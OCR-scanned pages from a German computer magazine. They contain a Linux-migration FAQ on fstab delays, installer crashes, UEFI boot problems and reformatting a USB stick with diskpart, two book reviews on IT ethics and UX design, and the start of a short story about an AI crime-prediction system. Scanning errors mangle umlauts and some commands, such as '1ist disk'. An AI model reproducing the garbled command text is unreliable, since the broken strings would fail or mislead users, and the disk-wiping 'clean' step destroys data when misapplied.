Linux-Umstieg | FAQ

Booten pausiert fiir
90 Sekunden

Damit Linux meine Windows-Parti-

tion automatisch einbindet, habe ich
diese in der /etc/fstab eingetragen. Seit-
dem bekomme ich beim Booten fiir 90
Sekunden die Meldung ,,Job dev-disk-by\
x2duuid-1234\x2dAB12.device/start run-
ning (Os / 1min 30s)“. Was bremst meinen
Bootprozess aus?

Die Meldung gibt an, dass das System

auf einen Datentrager wartet, den es
wihrend des Bootprozesses einbinden
soll. Uberpriifen Sie in der /etc/fstab die
Eintrige, ob alle noch aktuell sind und
nicht Laufwerke oder Partitionen automa-
tisch eingebunden werden sollen, die tem-
pordr oder dauerhaft nicht vorhanden
sind. Eine Fehlerquelle sind veraltete
UUIDs, etwa weil Sie zwischenzeitlich
eine Partition neu formatiert haben.

Offnen Sie parallel Gnome Disks
(Laufwerke) und vergleichen Sie die Ein-
trige (beispielsweise den Pfad oder die
UUID) dort mit den Zeilen in der fstab.
Kommentieren Sie mit einem vorange-
stellten Doppelkreuz (#) tiberfliissige Ein-
tridge aus und testen Sie das Resultat mit
einem Neustart. Verdndern Sie aber nicht
die Systemeintrage wie /, /boot, /boot/efi
oder /home, weil Sie sonst Ihr System gar
nicht mehr starten konnen.

Mint-Installer stlirzt ab

Ich habe versucht, Linux Mint zu ins-

tallieren, aber anders alsim Video-Tu-
torial wurde mirim Auswahlmenii ,, Linux
Mint neben Windows Boot Manager ins-
tallieren” gar nicht angeboten. Die Lauf-
werksliste war leer und als ich versuchte,
eine Partition hinzuzufiigen, stiirzte das
Installationsprogramm ab. Woran liegt
das?

Aus der Ferne ist so eine Diagnose

leider nicht einfach. Unsere Vermu-
tung wire, dass der USB-Stick beziehungs-
weise das ISO-Image defekt ist oder aber
die aktuellen Treiber fehlen, um Ihre Lauf-
werke anzusprechen.

Versuchen Sie zunichst, einen ande-
ren Stick zu nehmen, und dort das Instal-
lations-Image noch einmal aufzuspielen.
Manchmal hilft auch ein anderer USB-
Port, wenn etwa der Stick nicht fehlerfrei
an einem USB3-Port bootet. Laden Sie im
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FAQ | Linux-Umstieg

Zweifel auch die ISO-Datei erneut her-
unter.

Falls Treiberprobleme die Ursache
sind, probieren Sie von Linux Mint 21.3
Cinnamon das ,,Edge“-ISO aus. Dieses
enthalt schon im Live-System einen neu-
eren Kernel und bringt somit eine bessere
Treiberunterstiitzung mit.

Falls auch das nicht hilft, probieren Sie
testweise Fedora Linux oder Ubuntu 24.04
LTS, die beide auch neuere Linux-Kernel
samt aktuellen Treibern mit an Bord
haben.

Installiertes Linux bootet
nicht

Ich habe diverse Linux Distributionen

ausprobiert, neben Mint und Fedora
auch Arch, Ubuntuund Debian. Egal, wel-
ches Linux ich ausprobiere: Nach der Ins-
tallation wollen Sie alle nicht starten. Was
kann die Ursache sein?

Wenn gar kein Linux booten will, ist

manchmal die UEFI-Firmware (auch
UEFI-BIOS genannt) schuld. Die Qualitat
der UEFI-Implementierungen variiert
zwischen den unterschiedlichen Herstel-
lern von Mainboards, Komplettsystemen
und Notebooks. Wenn eine Firmware mit
allzu heifler Nadel zusammengestrickt
und nur mit Windows getestet wurde, blei-
ben alternative Systeme manchmal aufder
Strecke.

Dann bleibt leider nur eine Suche an-
hand von Modellbezeichnung, Firmware-
Name und -Version im Internet, ob Lei-
densgenossen schon auf eine Losung ge-
stoflen sind. So besafd der Autor dieses
Artikels privat ein Notebook, welches Li-
nux-Bootloader erst startete, wenn deren
Pfad- und Dateiname denen des Win-
dows-Bootloaders entsprach.

Hilfreich bei der Losung von so diffi-
zilen Problemfillen sind gegebenenfalls
auch kundige Freiwillige auf regionalen
Linux-Treffen und in Hackerspaces oder
Repair-Cafésvor Ort. Man sollte sich aber
bewusst sein, dass dies engagierte Frei-
willige sind und keine Dienstleister, und
sich auch dementsprechend benehmen.

Windows formatiert
USB-Stick nicht

Ich habe wie von Thnen beschrieben
das Linux-Installationsimage auf den
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USB-Stick aufgespielt und Linux auspro-
biert. Jetzt kann ich den Stick aber unter
Windows nicht mehr verwenden. Versu-
che ich diesen zu formatieren, beschwert
sich Windows, der Stick sei schreibge-
schiitzt.

Wenn der Explorer oder die Windows-

Datentrigerverwaltung sich weigern,
den USB-Stick neu zu formatieren, haben
Sie zwei Alternativen.

Mit wenigen Klicks geht es unter
Linux, ganz gleich ob Fedora oder Mint.
Starten Sie dazu Gnome Disks, indem Sie
die Windows-Taste driicken und im
Suchfeld ,Disk“ oder , Laufwerke“ ein-
geben. Wihlen Sie in Gnome Disksin der
linken Liste den gewiinschten Datentra-
ger aus und klicken Sie dann in der Titel-
leiste des Fensters auf die drei Plinkt-
chen. Aus dem Meni wihlen Sie den
Eintrag ,Laufwerk formatieren“. Es
reicht die schnelle Formatierung und
beide Typen der Partitionierung, MBR/
DOS oder GPT, sind geeignet. Anschlie-
end fiigen Sie iiber das Plus-Symbol
eine neue Partition hinzu, die Sie mit
NTFS, FAT oder Andere/exFAT forma-
tieren. Wenn die neue Partition angelegt
und formatiert ist, deaktivieren Sie Giber
den Ausschaltknopfin der Titelleiste den
USB-Stick und ziehen ihn ab. Anschlie-
3end sollte Windows mit dem Stick wie-
der umgehen konnen. Zur Sicherheit
konnen Sie den Stick noch mal mit Win-
dows formatieren.

BT CAWINDOWS system32\diskpan exe

Wenn Sie nur ein Windows zur Hand
haben, miissen Sie einige Befehle im Ter-
minal eingeben. Driicken Sie Windows+R,
geben Sie diskpart ein und klicken Sie auf
OK. Bestitigen Sie die Riickfrage, ob Disk-
Part Anderungen vornehmen darf. Rufen
Sie mit 1ist disk eine Liste der Datentra-
ger auf. Merken Sie sich die Nummer, die
der Stick zugewiesen bekommen hat (zum
Beispiel ,,Datentriger 2“). Wahlen Sie die-
sen Datentrager aus und lassen Sie sich
dessen Partitionen anzeigen:

sel disk 2
list part

Wenn Sie sicher sind, dass es der richtige
Datentréger ist,l6schen Sie die Partitions-
tabelle, erzeugen Sie eine neue primare
Partition und formatieren diese:

clean
create part primary
format fs=exfat quick

Achtung: Der Befehl clean 10scht die Par-
titionstabelle des ausgewahlten Laufwerks
unwiederbringlich und ohne vorherige
Sicherheitsabfrage! Sie sollten sich also
wirklich sicher sein, dass Sie auch den
gewiinschten Datentriger ausgewihlt
haben. (ktn@ct.de)

Links zu Tests, Downloads und
Anleitungen: ct.de/yv8g

Wahrend unter Linux USB-Sticks mit ein paar Mausklicks formatiert sind,
muss man unter Windows manchmal ein Terminalprogramm bemiihen.
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GroBBe Macht -
grof3e Verantwortung

IT bewegt sich nicht jenseits von Gut und Bése: Entwick-
ler, Nutzer und andere Beteiligte miissen sich fragen, wem
ihre Arbeit nutzt und wem sie schadet. Das achtkopfige
Team hinter ,,Gewissensbisse” regt mit realistischen Fall-
beispielen dazu an, iiber typische Konflikte zu sprechen.

Ethik fragt nach richtigem, moralisch begriindetem Handeln. Wo
man IT entwickeltund betreibt, treten haufig grundlegende ethische
Fragen auf - die wiederum sind nur selten leicht zu beantworten.

Guter Wille und Prinzipientreue allein geniigen nicht fiir alle
anfallenden Entscheidungen, denn bei ethischen Problemen sind
sehr oft widerspriichliche Ziele und Interessen im Spiel. Ein pro-
minentes Beispielist die elektronische Gesundheitskarte, beider
der Nutzen fiir die medizinische Versorgung gegen den Schutz
der Privatsphire der Patienten abzuwéagen ist.

Losungen gilt es auszuhandeln, davon sind die Autorin Chris-
tina B. Class und ihre Mitstreiter von der Gesellschaft fiir Informa-
tik (GI) iberzeugt. Das Aushandeln ldsst sich erlernen und iiben.
Zu diesem Zweck stellt das Buch 50 ,,fiktive, aber realistische®
Fallbeispiele in Form kurzer erzihlender Texte bereit. Dabei geht
esunter anderem um selbstfahrende Autos, DNA-Screening, Pla-
giatserkennung, Anonymisierungstools, Open Data in Bildungs-
einrichtungen und Datamining im 6ffentlichen Gesundheitswesen.

Die Beispiele schliefden nicht mit vorgegebenen, einzig rich-
tigen Losungen ab, sondern jeweils mit einer Reihe von Fragen.
Diese sollen zur Diskussion anregen und helfen, verschiedene
Perspektiven einzunehmen. Letztlich ist das Ziel, so die Autoren,
den ,ethischen Aushandlungsmuskel zu trainieren®.

Sie empfehlen ihr Buch zur Verwendung in der Gruppenarbeit:
,»Erstinder Diskussion und dem Austausch von unterschiedlichen
Meinungen entfalten die Fallbeispiele ihre volle Wirkung.“ Damit
das gelingt, geben die Autoren ausfiihrliche didaktische Hinweise
zur Verwendung von ,,Gewissensbisse in Schule, Hochschule oder
im Rahmen von betrieblichen Fortbildungen oder Tagungen.

Das Buch setzt weder philosophische noch technische Fach-
kenntnisse voraus. Es liefert keine systematische und theorielas-
tige Darstellung, sondern eine Fiille praktischer und offenkundig
von Erfahrung gepragter Beispiele. Insgesamt spricht die Lektiire
jeden an, der sich fiir Fragen von sozialer Kompatibilitit, Ver-
antwortung und Vertriglichkeit im Zusammenhang mit IT
interessiert. (Pit Noack/psz@ct.de)
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Erleb was Schones, Nutzer!

Erfolgreiche Webseiten, Apps und IT-Geritschaften er-
freuen ihre Anwender damit, dass sie sich besonders an-
genehm und intuitiv handhaben lassen. Designer nutzen
dazu Erkenntnisse aus der Psychologie. Jon Yablonski
nimmt seine Leser mit auf eine informative Reise durch
die Welt der User Experience (UX).

Jon Yablonski ist ein erfahrener Designer, der nicht blofd Web-
seiten entwirft, sondern auch fiir Infotainment-Oberflichen in
Autos von General Motors verantwortlich war. Er schreibt unter
anderem auf www.lawsofux.com und sammelt dort Regeln dazu,
wie man die Handhabung von Technik vorteilhaft gestaltet. Seine
zehn Favoriten beschreibt erin der nunmehr bereits zweiten Auf-
lage seines Buchs ausfiihrlich.

Die Regeln sind allesamt zeitlos und beruhen auf bekannten
Forschungsergebnissen aus der Psychologie. Unter anderem geht
es um Jakob Nielsens Erkenntnis, dass Nutzer gewohnte Designs
gegeniiber fiir sie vollig neuen Konzepten bevorzugen. Es gibt aber
auch Kapitel zu Themen wie Asthetik oder der Bedeutung von Per-
formanz. Im Vordergrund steht immer die User Experience (UX)
und nicht die konkrete Bedienschnittstelle (,,User Interface®, UT).

Alle Kapitel folgen demselben Aufbau. Sie beginnen mit einer
kurzen Problembeschreibung, die der Autor mit populédren Bei-
spielen untermauert. Anschliefdend erklért er kurz die psycholo-
gischen Grundlagen des sich bietenden Problems im Rahmen einer
Schliisseliiberlegung und setzt diese in Relation zu den typischen
Auswirkungen auf Webseiten. Er weist darauf hin, wie wichtig es
ist, Gesichtspunkte der Barrierefreiheit zu beriicksichtigen, und
gibt auch Ratschlige zu deren Umsetzung. Zur Losung der meisten
UX-Probleme stellt er bewihrte Arbeitstechniken vor, etwa Journey
Maps und Usability Tests. Diese umreifdt er nur kurz, insofern emp-
fiehlt sich bei Bedarf vertiefende Literatur dazu.

Designer nutzen die Erkenntnisse der Psychologie leider
nicht nur zum Guten. Insbesondere im Bereich von Social Media
geht es Unternehmen nicht selten darum, Nutzer um jeden Preis
auf eine Plattform zu locken und so lange wie moglich dort zu
halten, um die Zeitspannen fiir Werbung zu verlidngern. Aufsol-
che Moglichkeiten des Missbrauchs geht Yablonskiin den letzten
beiden Kapiteln ein. Er pladiert fiir ethisches Design und eine
Entschleunigung von Entwicklungsprozessen.

Sehr kompakt prasentiert der Autor wichtige Gesichtspunk-
te, die Entwickler mit wenig Aufwand berticksichtigen konnen.

(Maik Schmidt/psz@ct.de)
O'REILLY"
Laws of UX Jon Yablonski
;?;:ﬂ::nqﬁ::nm::;' :;:' o Laws of UX

Jon Yablonsk)

10 praktische Grundprinzipien fir
intuitives, menschenzentriertes UX-Design

0'Reilly, Heidelberg 2024

(2. Aufl., der Buchverlag gehort

wie ¢'t zu heise medien)

ISBN 978-3960092469

164 Seiten, 27 €

(als Bundle mit E-Book beim Verlag: 32 €;
PDF-/Epub-/Kindle-E-Book allein: 27 €)
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IM NEBEL

Im Nebel der Wahrscheinlichkeit | Story

DER WAHRSCREINLICHRELT

ben noch hatte man ihn einfach blof3
Hitler genannt.

Das war sein einziger Gedanke, als sie
ihn durch das Prasidium fiihrten: durch die
sterilen, nackten Flure, wo sie die Verbre-
cher abfertigten und kaltes Licht keinen
Trost spendete. Schwarze Streifen auf dem
grauen Linoleumboden erzihlten von
Schuhsohlen, die dariiber geschleift wurden
-vom Widerstand gegen die Staatsgewalt.
Doch statt in einen Verhorraum brachten
ihn die beiden Beamten zu einem Aufzug.
Dort driickten sie den obersten Knopf.

Als sich die chromsilbernen Tirseg-

mente wieder seitlich zurlickzogen, bot sich dem Gefange-
nen ein schmeichelhaftes Bild aus Teppichbdden, kiinstle-
rischen Fotografien und biirokratischem Miifliggang. Hier
oben tat man so, als wiirde das da unten nicht existieren. Es
roch sauber und obwohl der Feierabend schon ein paar Stun-
denzuriicklag, lagnoch immer dieses Aroma aus Kaffee und

Druckertinte in der Luft.

Fiir Keyn roch es nach Sehnsucht. Wie sehr wiinschte
er, der ein ganzes Jahrzehnt im Biiro verbracht hatte, sich

wieder in eine solche Umgebung zurtick!

Die Polizisten fiihrten ihn in einen Konferenzraum, wo
sich normalerweise wichtige Menschen auf schwarzen Le-
dersesseln um einen Echtholztisch versammelten. Nun war-
teten dort nur zwei Anzugtrager: Eine unglaublich attraktive
Frau - schlank, grof3, naturblond, mit Fingern wie eine Fee
-safdlinks neben dem Kopfende; ein Mann stand am Fenster.

Keyn kannte sein Gesicht.

,Sie sind dieser Politiker", erkannte er.

»Ich bin dieser Politiker*, bestétigte jener mit einer so
klaren, so fein definierten Stimme, wie man sie sonst blof3
von Synchronsprechern und berithmten Podcast-Modera-
toren hort. So klang nur jemand, der viele Jahre stimmlich

trainiert worden war.

»Mr Keyn", sagte die Frau und deutete auf den Sessel
gegeniiber. ,Vorerst wire es besser, wenn Sie mich als Ms
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VON MAXIMILIAN WUST

Crime-Prediction-Systeme lenken
den Blick auf wahrscheinliche
Schwerpunkte kommender
Kriminalitit. Dabei jongliert
lernfahige Software mit
statistischen Verteilungen,
Zufallsereignissen und Wirkungs-
ketten. Wie diese algorithmische
Zauberkunst aber zu einem
konkreten Ergebnis gelangt,
erscheint oft ratselhaft.

konnte.

wesen.

stand sie.

Kruger und den Herrn am Fenster als Mr
Dunning bezeichnen wiirden. Setzen Sie
sich doch! Konnen wir Thnen etwas an-
bieten? Kaffee? Wasser? Cola?“

»Einen Anwalt®, fauchte Keyn, sobald
die Polizisten den Raum verlassen hatten.

»Lassen Sie mich Thnen versichern,
dass Sie keinen brauchen werden.

yTrotzdem will ich einen!*

Das liefd nun Mr Dunning aktiv wer-
den, wenigstens fiir einen Moment. ,,Set-
zen Sie sich”, sagte er - nicht als Befehl,
sondern so, als beschreibe er damitledig-
lich etwas, ein unvermeidbares Faktum.

Erwirkte méchtig, sogar noch stirker und grofder als auf den
Fotos und Videos. Die Falten im Gesicht lief}en ihn erfahren
und gepriift wirken; das volle, silberne Haar verlieh ihm eine
geradezu imperiale Prisenz. Dieser Mann schien durch und
durch jemand zu sein, den man ohne grofde Zweifel wahlen

Keyn setzte sich wie ferngesteuert, lied die Situation auf
sich wirken und ertappte sich dabei, wie er auf einmal un-
gewollt die Zahne fletschte: Ms Kruger, die Frau gegentiber,
war unnotig schon. Auf ihrer Haut gab es keine Spur einer
Irritation, ihr hiiftlanges Haar fiel perfekt herab und unter
ihrem Maflanzug zeichnete sich ein Kdrper von der Art einer
Helena ab, fiir die so mancher gegen Troja gezogen wire. So
jemand, bemerkte er mit erstickendem Neid, brauchte nicht
nach oben zubuckeln, zuklettern und zu kriechen. Fiir diese
Frau, diese Ms Kruger, war das Leben eine Rolltreppe ge-

»Sie missgdnnen mir meine Position, nicht wahr?“, ver-

Und Keyn erschrak. War er so leicht zu durchschauen?
Aber noch bevor er beschwichtigen oder sich heraus-
redenkonnte, reagierte die Schonheit mit Zustimmung: ,, Mit
Threm unausgesprochenen Vorwurf haben Sie vermutlich
sogar recht, zu einem Teil wenigstens. Meinen Doktortitel
und meinen Rang habe mich mir ehrlich erarbeitet, aber ja,
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mein Aufderes, auch wenn ich es mit Ernihrungsplinen und
viel Sport aufrechterhalten muss, hat mir Tiiren geoftnet,
wo fiir andere Mauern sind. Man nennt dieses Phanomen
tibrigens den Halo-Effekt und Sie konnen sich gernin Ihrem
nichsten Vlog auf Ihre, sagen wir drastische Art dagegen
aussprechen.”

Vloggen, seine Meinung im Videoformat kundtun -
genau das hatte Keyn bis eben noch getan: Sich vor seinen
Greenscreen gesetzt, noch einmal das Skript verinnerlicht
und einen weiteren Clip aufgenommen. Dieses Mal war es
um nichts Besonderes gegangen: um Adolf Hitler und darum,
dass man diesen deutsch-6sterreichischen Menschenver-
nichter im Internet gern als Argument benutzte, wenn man
keins mehr hatte. Im Allgemeinen neigte man online zu Ex-
tremvergleichen und sprach von Mord, Genozid und Ver-
gewaltigung, nur weil einem widersprochen, man ignoriert
oder angestarrt worden war. Erwachsene Kiiken auf Planet
Hitler - so wollte Keyn sein nichstes Video nennen, weil
jemand ihn mit dem klischeehaften Vergleich tiberzogen
hatte. Bevor er jedoch zu dieser Briicke kam, hatte es an der
Tiir geklingelt ... und er hatte verstehen diirfen, wie furcht-
erregend ein spontaner Polizeibesuch sein kann. Aufeinmal
ist man machtlos.

Er seufzte. ,,Bin ich deshalb hier? Ist mein Channel zu
oft als hate speech gemeldet worden?

Ms Kruger schiittelte den Kopf. ,,Das wurde er tatsich-
lich, aber nicht mehr als der einesjeden anderen rechtspopu-
listischen Vloggers mit Ihren Klickzahlen. Ihre Videos ver-
stofden vielleicht gegen die Gebote dessen, was Sie als links-
liberale Ersatzreligion brandmarken, aber nicht gegen die
Gesetze.”

»Und warum -

Ms Kruger stoppte die Frage, indem sie die Hand
anhob, tiberraschend gekonnt, sodass ihre Handflache wie
eine Mauer wirkte, an der alles abprallen musste. Keyn ver-
stummte augenblicklich. ,, Thr Kanal, Der Anklaeger", fuhr
sie fort, ,ist unterhaltsam, muss ich sagen: aktuell und
unterhaltsam: dass wir unser Land und unsere Werte fiir
Klicks und Likes hergegeben hitten, dass wir uns zu
menschlichen Dodos reduziert hitten, die von den Ein-
dringlingen in unser Okosystem einfach geerntet werden
-und, mein Favorit, die Frage, ob wir nicht ein paar Stock-
werke liber die USA bauen konnen, wenn wir schon ganz
Afrika und Stidamerika herholen wollen. Ich gebe zu, auch
wenn ich Thre Thesen nicht teile, wurde ich inspirierend
bespafdt. Sie vermitteln Thren Zuschauern das Gefiihl, mit
Ihnen gemeinsam diese erblindende Welt durchschaut zu
haben. Konnten Sie mir auch dhnlich panzerbrechend er-
klaren, was Sie mit solcher Begeisterung zum Videomachen
antreibt?“

Keyn hieltinne. Einen Moment lang spielte er mit dem
Gedanken, sich hinter den tiblichen Floskeln seiner Ge-
sinnungsgenossen zu verstecken - von wegen, dass es Pro-
bleme gibe, die man doch wohl noch aussprechen diirfte,
oder dass er das Land bewahren wollte, in dem er aufge-
wachsen war, doch die Wahrheit lautete anders: ,Es tut
gut”, erklarte Keyn - nicht bitter, sondern seltsam erlost.
»Ich wurde vor drei Jahren entlassen ... wie Sie vermutlich
langst herausgefunden haben. Die grof3e Krise hatam Ende
auch meine Firma erfasst und meine Abteilung wurde auf-
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gelost, bevor man danach das ganze Unternehmen sedi-
mentiert hat. Wussten Sie, wie das in den Suchmaschinen
aussieht? Wenn man es heute in die Suchzeile eingibt, be-
kommt man unter den Fotos und dem Kartenlink einen
roten Balken mit der Aufschrift Dauerhaft geschlossen. Seit-
dem bin ich ... nein!“

»Nein?“

,AUCH WENN ICH [HRE THESEN
NICHT TEILE, WURDE ICH
[NSPIRIEREND BESPASST.”

»Eshat nichts mit meiner Kiindigung zu tun oder damit,
dass ich seit drei Jahren auf Staatskosten ausschlafen darf.
Die Wahrheit ist: Ich hatte damals im Job nichts zu sagen,
wie auch davor in der Schule. Ich safd immer am untersten
Ende der sozialokonomischen Nahrungskette, wenn man so
will. Dass ich jetzt fiinfzig Nachrichten pro Tag erhalte, dass
sich fiinfhundert Leute in der Kommentarsektion streiten
und dass man es kaum erwarten kann, bis ich dieses oder
jenes Thema angehe - das alles tut seltsam gut.

Was Mr Dunning zu verstehen schien: ,,Sie sind im Be-
griff, der Mensch zu werden, der Sie in Wirklichkeit immer
gewesen sind“, erkannte er.

»Sofiihltessichjedenfalls an. Alswiirde ich endlich den
Krabbenkorb verlassen. Aber, na ja, davon leben lésst sich
natiirlich nicht. Seit der Youtube-Implosion kann das fast
niemand mehr - selbst mit Patreon und Merch-Verkaufen.
Aber noch einmal: Warum bin ich hier? Im Verhiltnis zu
einigen anderenist mein Kanal ein Rinnsal. Zukunfi-braucht-
Herkunft zahlt fast dreifSigmal so viele Abonnenten, Behind
Deveraux Fortress wird auf so ziemlich jeden Podcast ein-
geladen und Loboto-Me ... Keyn stoppte. All das wussten die
beiden mit Sicherheitlingst. In Kafkas Welten gibt es keinen
Whataboutism - wiirde er sich nachher notieren, sobald er
wieder zu Hause wire.

Mr Dunning blickte zu Ms Kruger und nickte, gab ihr
sozusagen griines Licht ... fiir vermutlich vertrauliche Infor-
mationen.

Sie begann auch sogleich: ,,Haben Sie jemals von David
Zayas gehort?

,Noch nie.“

»Im noch sehr unschuldigen Jahr 2023, als die grofde
Krise noch lediglich ein Scherz unter Lagerarbeitern war,
setzte die New Yorker Polizei zum Test eine KI ein, um den
Strafdenverkehr iberwachen zu lassen. Dabei ging es primar
darum, abgelaufene und gestohlene Nummernschilder zu
finden sowie Verkehrsverstofde besser ahnden zu konnen.
Entdeckt hat die KIjedoch auch etwas anderes, namlich un-
gewohnliches Fahrverhalten.”

»Ich verstehe nicht ganz ...

,Die KI arbeitete sich durch Millionen von Kameraauf-
zeichnungen und fand heraus, dass ein weif3er Lieferwagen,
angemeldet aufbesagten David Zayas, ungewohnliche Rou-
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ten zwischen Massachusetts und New York befuhr und selt-
sam kurz an den Zielorten verblieb. Man hielt den Wagen
also an und fand darin nicht nur eine Waffe und dreifdig-
tausend Dollar Bargeld, sondern auch noch eine ordentliche
Portion Marschierpulver.”

»Kokain?“

,»Genug fiir zwei Dutzend Bankierspartys zum Quartals-
abschluss, wie Sie wohl in Thren Videos sagen wiirden.

Keyn ahnte Finsteres. ,Aber was -

Wieder hob Ms Kruger die Hand: Dazu komme ich gleich,
erklarte sie damit nonverbal. ,,Wie Sie sich denken konnen,
war es nur eine Frage der Zeit, bis man KI-Splirhunde auch
auf andere Dinge losliefs: Online-Kommentare, Kaufver-
halten, o6ffentliche Selfies. Wenn KIs eines konnen, dann
Tendenzen erkennen. Und das taten sie.

Mal von einigen Blindgdngern, Fehlern und Nieten in
den frithen Phasen der Implementation abgesehen, hatten
wir vor vierzig Wochen unseren ersten Erfolg: Anhand seiner
Kleiderwahl hat unsere Nimue - so nennt das Marketing sie
derzeit noch, nach der Herrin vom See aus der Artussage -
einen kriminellen Prepper identifiziert. Wir konnten tiber
zweihundertillegal erworbene Schusswaffen beiihm sicher-
stellen. Vor zwanzig Wochen sprengte unser System sogar
einen ganzen Drogenring, seit fiinfzehn Wochen erkennt es
spielend die Anzeichen fiir hiausliche Gewalt und vor zehn
hatesam selben Tag die Organisatoren einer rechtsradikalen
Hassgruppe und eine grofdangelegte Doxxing-Einheit der
Linksradikalen aufgedeckt. Sie haben das sicherlich alles am
Rande mitverfolgt.”

WENN KIS EINES KONNEN, DANN
TENDENZEN ERKENNEN."

»Am Rande®, bestatigte Keyn, weil er nicht zugeben
wollte, dass erin dieser Hinsicht gewissermafden unter einem
Stein gelebt hatte. ,,Der erste Morder diirfte also nicht mehr
fern sein. Oder Moment, Thre Nimue-KI, die hat doch nicht
etwa mich -

Wieder prisentierte Ms Kruger die Handfldche: Geduld!
»Die Morder kamen mit der hauslichen Gewalt - ein Kombi-
paket, wie Sie sagen wiirden. Interessant wurde es aber tat-
sachlich erst bei Mr X.

»Dem Brettspiel?*

Die Schone wurde hisslich: Schlechter Scherz, er-
widerten ihre entnervten Gesichtsziige. ,Vor etwa zwei
Monaten prasentierte uns Nimue jemanden als Morder,
der offensichtlich keiner war: eine Kassiererin an einer
Tankstelle, Ende zwanzig, unscheinbar, zwei abgebroche-
ne Studiengénge. Sie schien selbst nicht so ganz zu wissen,
was sie aus ihrem Leben machen sollte - aber war offen-
sichtlich niemand, dem man einen Mord zutraut oder bei
dem man es sich irgendwie schon immer gedacht hat, wie man
sagt.

Eine erste Uberpriifung durch die Ermittler ergab eben-
fallsnichts. Mr X, oder besser: Ms X wurde niemals auch nur
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illegaler Downloads wegen verdachtig. Nimue behauptete
aber weiterhin, eine Morderin gefunden zu haben.”

SWarum?*

»Das ist das Problem mit den KIs: Ein Drogenhund ver-
steht nicht, dass er Rauschmittel aufspiirt und was mit denen
geschieht, die sie bei sich tragen. Er tut es einfach, weil er
von Kindheit an darauf trainiert worden ist.

Wenn wir Nimue nach einem Wie gefragt haben, kamen
immer nur dieselben Floskeln: Viele Faktoren konnen Gewalt-
taten begiinstigen, darunter friihkindliche Prdagung, hormonel-
les Ungleichgewicht, soziodkonomischer Hintergrund und so
weiter. Das antwortet sie iibrigens bei fast allen Verbrechen.
Sie weifd nicht, warum jemand nach Kriminalitét riecht. Man-
che Personen tun es einfach - in der stochastischen Nase
unseres virtuellen Jagdhunds eben.

Keine Kl ist perfekt, dachten wir uns, und besagte Kas-
senkraft muss wohl einfach nur ein stochastischer Ausreifder
sein. Wir stellten die Verdachtige daher auf minimale Be-
obachtung. Das bedeutet, dass uns das System meldet, wenn
sie irgendwie auffallig wird, einen Strafzettel kassiert oder
das Land verlasst - was dann auch geschah: Sie flog fiir drei
Wochen auf die Kanaren.

Keyn ahnte bereits, was nun folgen wiirde.

,Dort kam es zu einem Todesfall. Ein Tauchlehrer er-
trank. Weil er das jedoch in einer Tiefe von tiber zweihundert
Fufd tat, fast einhundert unter dem empfohlenen Maximum,
und weil Taucherunfille auf den Kanaren zum Alltag ge-
horen, verbuchten es die Behorden als Tod durch Dummibheit.
Uns machte es jedoch stutzig, insbesondere als wir heraus-
fanden, dass besagte Kassenkraft bei besagtem Ausbilder
schnorcheln gegangen war. Wir informierten Interpol, die
lieen einenihrer Inquisitoren von der Leine und der bekam
praktisch sofort ein Gestandnis.

Ms X hatte sich anscheinend in ihren Tauchlehrer verliebt,
der sie jedoch nur als einen Leckerbissen fiir zwischendurch
sah. Die Holle kennt keine Wut wie die einer verschmdhten Frau
war die finale Lektion, die er mitnehmen durfte, als sein ma-
nipuliertes Equipment tiefunter dem Meeresspiegel versagte.”

Keyn verstand und stockte. Er war kein einfacher
Mensch, das wusste er selbst: kompliziert, schnell einge-
schnapptundja, auchjemand, der etwas zu gern recht hatte,
aber doch kein ...

Ms Kruger reagierte gar nicht erst darauf. ,,So grausam
es klingen mag: Ms X war, was ich gebraucht habe.”

»Weil Sie jetzt eine KI-Polizei griinden werden?“

,»Eine Precrime-Abteilung. Der Kongress wird bald tiber
die notigen Mittel beraten, die finale Zustimmung ist nur
noch eine Frage der Zeit. Ich beabsichtige das Modell der
KI-gelenkten Strafverfolgung bis Ende des Jahrzehnts in
allen Bundesstaaten einzufiihren. Einzig die Art, wie wir
gegen zukiinftige Verbrecher vorgehen, also wie man jeman-
den fiir etwas verurteilt, was noch gar nicht verbrochen
wurde, steht noch offen. Solche Debatten haben wir zulange
den Science-Fiction-Autoren iiberlassen, aber das ist ein
Thema fiir ein anderes Mal.

Keyn seufzte. Darum ging es also. ,,Und welches Ver-
brechen werde ich begehen?*

»Das schlimmste®, antwortete nun Mr Dunning.

Ms Kruger erliduterte: ,Vor drei Tagen erschétzte Nimue
einen mehrfachen Mord. Das war nicht der erste, doch hin-
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Uber den Autor

Der 1983 geborene selbststandige Gra-
fiker, lllustrator, Werbetexter, Redakteur
und Schriftsteller Maximilian Wust lebt
und arbeitet in Grafing bei Miinchen.
2016 erschien als Roman im Nelles-Ver-
lag sein philosophisches Marchen ,Land der verlorenen
Dinge”. Einen Ausschnitt daraus prasentiert Wust in einer
illustrierten Lesung auf seiner Website www.maxmalt.de,
dazu finden sich dort von ihm Kurzgeschichten unter-
schiedlicher Genres sowie streckenweise sehr skurrile
Blogbeitrdge, Zeichnungen und Comic-Episoden. Mit
dem Cyberkrimi ,Neuromat” feierte Wust in Ausgabe
20/2023 seine Premiere bei den c't-Stories.

ter der ersten Ziffer der Opferzahl, einer Sieben, reihten sich
bizarr viele Nullen. Als hitte sich jemand verschrieben. Aber
Nimue blieb bei ihrer Prognose: Ein Mann namens Robert
Keyn, ehemaliger Speditionskaufmann, jetzt arbeitslos, In-
fluencer, wiirde in den nachsten zwolf Jahren siebzig Millio-
nen Menschen téten.”

Keyn rechnete sich das einen Moment lang aus, bevor
er protestierte: ,,Und wie soll ich das anstellen? Selbst wenn
ichvonjetzt an nicht mehr schlafe und jede Minute jemanden
umbringe, komme ich nicht mal auf sieben Millionen!“

»Daraufhatte Nimue keine Antwort, einmal abgesehen
von den tiblichen Floskeln. Daher baten wir unsere Freunde
in Europa, ihre KIs ebenfalls auf diesen seltsamen Fall an-
zusetzen. Diese kamen zu dem gleichen erschreckenden
Ergebnis: Robert Keyn wiirde mit hchster Wahrscheinlich-
keit in der nachsten Dekade Millionen von Menschen das
Leben kosten. Wenigstens fanden sie aber eine Erklarung -
und zwar eine, die wir davor lediglich scherzhaft mal in Er-
wigung gezogen hatten ...

Mr Dunning iibernahm nun das Wort. Er wandte sich
vom Fenster ab und kam zum Tisch. ,Wir lief3en also ver-
schiedene KIs die Aspekte Ihres Lebens interpretieren: Athe-
ne vom Bildungsministerium reflektierte Thren schulischen
Werdegang, Achiever aus den Jobbdrsen tat dasselbe mit
TIhren Arbeitsstellen, Gernsback nahm die Erfolge Ihres Vi-
deokanals unter die Lupe und A. D. Nauer schatzte Ihr poli-
tisches Momentum ein. Was Gernsback besonders auffiel,
